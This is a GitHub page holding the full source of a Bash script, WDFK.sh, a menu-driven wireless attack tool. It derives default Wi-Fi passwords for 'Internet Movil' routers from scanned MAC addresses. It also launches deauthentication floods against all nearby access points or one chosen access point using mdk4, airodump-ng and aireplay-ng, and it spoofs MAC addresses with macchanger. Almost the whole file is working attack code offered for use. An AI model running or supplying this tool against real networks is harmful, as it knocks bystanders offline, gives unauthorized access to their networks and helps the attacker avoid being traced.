-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathWDFK.sh
359 lines (286 loc) · 10.7 KB
/
WDFK.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
#!/bin/bash
###########################
# Authors #
# BY: N0OBIT4 #
# BY: SN0KI #
###########################
__github__="https://github.com/n0obit4"
#Colors
white="\033[1;37m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Purple="\033[0;35m"
Cafe="\033[0;33m"
blue="\033[1;34m"
transparent="\e[0m"
#Resources
DIRECTORY=`mktemp -d`
if [[ $EUID > 0 ]]; then # we can compare directly with this syntax.
echo -e "$white""##################################################################"
echo -e "$yellow""# Please run as root/sudo # "
echo -e "$red""# sudo bash WDFK.sh #""$transparent"
echo -e "$white""##################################################################""$transparent"
exit 1
fi
clear
function banner(){
echo 'IF9fICAgX18gIF9fXyAgX19fX19fX18gICAgX19fX19fXyAgX18gICBfX18gIAp8IiAgfC8gIFx8ICAifHwiICAgICAgIlwgIC8iICAgICAifHwvInwgLyAgIikgCnwnICAvICAgIFw6ICB8KC4gIF9fXyAgOikoOiBfX19fX18pKDogfC8gICAvICAKfDogLycgICAgICAgIHx8OiBcICAgKSB8fCBcLyAgICB8ICB8ICAgIF9fLyAgIAogXC8vICAvXCcgICAgfCh8IChfX19cIHx8IC8vIF9fXykgICgvLyBfICBcICAgCiAvICAgLyAgXFwgICB8fDogICAgICAgOikoOiAgKCAgICAgfDogfCBcICBcICAKfF9fXy8gICAgXF9fX3woX19fX19fX18vICBcX18vICAgICAoX198ICBcX18p'|base64 -d
}
function menu(){
echo
echo
echo -e "$red" " ; , "
echo " ED. Et "
echo " E#Wi E#t G: "
echo " E###G. E##t E#, : "
echo " ; E#fD#W; E#W#t E#t .GE "
echo " .DL E#t t##L E#tfL. E#t j#K; "
echo "f. :K#L LWLE#t .E#K, E#t E#GK#f "
echo -e "$red""EW: ;W##L .E#f E#t j##f ,ffW#Dffj. E##D. "
echo "E#t t#KE#L ,W#; E#t :E#K: ;LW#ELLLf. E##Wi "
echo "E#t f#D.L#L t#K: E#t t##L E#t E#jL#D: "
echo -e "$red""E#jG#f L#LL#G E#t .D#W; E#t E#t ,K#j "
echo "E###; L###j E#tiW#G. E#t E#t jD "
echo "E#K: L#W; E#K##i E#t j#t "
echo "EG LE. E##D. E#t ,; "
echo "; ;@ E#t ;#t "
echo " L: :; "
echo " "
echo -e "$blue""Made by SN0KI and N0OBIT4"
echo -e "$Cafe"" Choose an option""$transparent"
echo ""
echo -e "$blue" "1-Default Password, Internet Movil * XXXX."
echo -e "$blue" "2-Wireless Deauth."
echo -e "$blue" "3-MAC spoof."
echo ""
echo -e "$red""Exit (E)"
echo ""
}
function list_interfaces(){
#Show Avilable interfaces
INTERFACES=`ls /sys/class/net/|grep -v lo`
echo -e "$yellow""Availables interfaces: "
echo ""
echo -e "$green""$INTERFACES"
}
#################################################################################################
# #
# INTERNET MOVIL #
# #
#################################################################################################
function internet_movil(){
list_interfaces
#chooce interface
echo -ne "$white""Interfaz >> "
read interface
echo -e "$Purple""Waiting answer..."
echo " "
#Part 1: Scan all available wifi.
iwlist $interface scan | grep -e 'ESSID*' -e 'Address*' > /tmp/allwireless
#Part 2: Filtering by MAC
cat /tmp/allwireless |grep Add* |sed 's/Cell 01 - Address://' | sed 's/Cell 02 - Address://'| sed 's/Cell 03 - Address://' | sed 's/Cell 04 - Address://' | sed 's/Cell 05 - Address://' | sed 's/Cell 06 - Address://' | sed 's/Cell 07 - Address://'| sed 's/Cell 08 - Address://' | sed s/' '/\/g | sed s/':'/\/g >/tmp/pepito
#Part 3: filtro 2.
cat /tmp/pepito | sed 's/^.//g' |sed 's/^.//g' |sed 's/^.//g'|sed 's/^.//g' > /tmp/pepito2
#ESSID filtering
cat /tmp/allwireless |grep ESSID* > /tmp/name
cat /tmp/name |grep ESSID* |sed 's/ESSID://' | sed 's/ESSID://' | sed 's/ESSID://' | sed 's/ESSID://' | sed 's/ESSID://' | sed s/' '/\/g | sed s/':'/\/g >/tmp/name2
echo -e "$blue" "ESSID: "
cat -n /tmp/name2
echo -e "$blue" "Password: "
cat -n /tmp/pepito2
echo " "
echo -e "$yellow""Press any key to exit..."
read option
echo -e "$red""Coming out...""$transparent"
sleep 1.5
}
#################################################################################################
# #
# WIFI DEAUTH #
# #
#################################################################################################
function deauth(){
list_interfaces
echo ""
echo -ne "$yellow""Choose interface: "
read interface
MON=$interface"mon"
echo -e "$Purple""Waiting answer...""$transparent"
airmon-ng check kill &> /dev/null
airmon-ng start $interface &> /dev/null
clear
#Select attack
echo -e "$yellow"
banner
echo ""
echo ""
echo -e "$yellow""[1] - Deauth all AP"
echo -e "$yellow""[2] - Deauth only one AP"
echo ""
echo -ne "$blue"">> "
read deauth
if [ "$deauth" = "1" ];then
echo "To break attack press CTRL + C"
xterm -hold -T "Close windows to stop attack" -e mdk4 $MON d;echo -e "$yellow""Attack succesfully...";sleep 1;echo "Shutdowing monitor mode";airmon-ng stop $MON &> /dev/null ; echo "Restarting Networks services";service NetworkManager restart
fi
if [ "$deauth" = "2" ];then
echo "To break scan press CTRL + C"
echo "press any key to continue..."
read tecla
sleep 2
clear
#airodump-ng $MON
xterm -hold -T "Close windows to stop scan" -geometry 100x30+0+0 -e airodump-ng -a $MON -w $DIRECTORY/wdfk --ignore-negative-one
echo ""
#Organize data
lines=`cat $DIRECTORY/wdfk-01.csv | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'`
lines=`expr $lines - 1`
head -n $lines $DIRECTORY/wdfk-01.csv &> $DIRECTORY/dump-02.csv
tail -n +$lines $DIRECTORY/wdfk-01.csv &> $DIRECTORY/clientes.csv
echo " WIFI LIST "
echo ""
echo " ID MAC CHAN SECU PWR ESSID"
echo ""
i=0
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
longueur=${#MAC}
PRIVACY=$(echo $PRIVACY| tr -d "^ ")
PRIVACY=${PRIVACY:0:4}
if [ $longueur -ge 17 ]; then
i=$(($i+1))
POWER=`expr $POWER + 100`
CLIENTE=`cat $DIRECTORY/clientes.csv | grep $MAC`
if [ "$CLIENTE" != "" ]; then
CLIENTE="*"
echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent""
else
echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent""
fi
aidlength=$IDLENGTH
assid[$i]=$ESSID
achannel[$i]=$CHANNEL
amac[$i]=$MAC
aprivacy[$i]=$PRIVACY
aspeed[$i]=$SPEED
fi
done < $DIRECTORY/dump-02.csv
echo ""
echo -ne "$yellow""AP BSSID: ""$transparent"
read BSSID
echo -ne "$yellow""AP Channel(CH): ""$transparent"
read CH
clear
echo "Specific Scan, press any key to continue..."
read teclaa
echo "To break scan press CTRL + C"
sleep 2
clear
#Specific scan
airodump-ng $MON --bssid $BSSID --channel $CH -a
echo ""
echo -ne "$yellow""Deauth Packets(0 to infinite): "
read deauth
clear
xterm -hold -T "Close windows to stop attack" -e aireplay-ng --deauth $deauth -a $BSSID $MON;echo -e "$yellow""Attack succesfully...";sleep 1;echo "Shutdowing monitor mode";airmon-ng stop $MON &> /dev/null ; echo "Restarting Networks services";service NetworkManager restart
echo " "
echo -e "$blue""thank... ;)""$transparent"
fi
}
#################################################################################################
# #
# MAC ADDRESS #
# #
#################################################################################################
function random(){
list_interfaces
echo ""
echo -ne "$yellow""Choose interface: "
read interface
ifconfig $interface down
macchanger -a $interface
ifconfig $interface up
}
function static(){
list_interfaces
echo ""
echo -ne "$yellow""Choose interface: "
read interface
echo ""
echo -e "$yellow""Example: FF:FF:FF:FF:FF:FF"
echo -ne "$yellow""MAC address: "
read mac
if [ ${#mac} == "17" ];then
ifconfig $interface down
macchanger -m $mac $interface
ifconfig $interface up
echo -e "$yellow""Waiting..."
sleep 1
ifconfig $interface down
macchanger -m $mac $interface
ifconfig $interface up
echo -e "$green""Sucessfull""$transparent"
elif [ ${#mac} != "17" ]; then
echo -e "$red""Mac address error"
echo ""
spoof_mac
fi
}
function restore_mac(){
list_interfaces
echo ""
echo -ne "$yellow""Choose interface: "
read interface
echo ""
ifconfig $interface down
macchanger -p $interface
ifconfig $interface up
}
function spoof_mac(){
echo ""
echo -e "$red""[""$yellow""1""$red""]""$yellow""Random Mac"
echo ""
echo -e "$red""[""$yellow""2""$red""]""$yellow""Specific MAC"
echo ""
echo -e "$red""[""$yellow""3""$red""]""$yellow""Restore MAC"
echo ""
echo -ne ">> " "$transparent"
read inpt
if [ "$inpt" == "1" ]
then
random
elif [ "$inpt" == "2" ]
then
static
elif [ "$inpt" == "3" ]
then
restore_mac
fi
}
#################################################################################################
# #
# MAIN #
# #
#################################################################################################
menu
echo -ne "$white"">> "
read opcion
if [ "$opcion" == "1" ]
then
internet_movil
elif [ "$opcion" == "2" ]
then
deauth
elif [ "$opcion" == "3" ]
then
spoof_mac
elif [ "$opcion" = "E" ] || [ "$opcion" = "e" ]
then
echo -e "$red""Bye...""$transparent"
sleep 1.5
exit 1
else
echo -e "$red""Incorrect Option"
sleep 0.5
exit 1
fi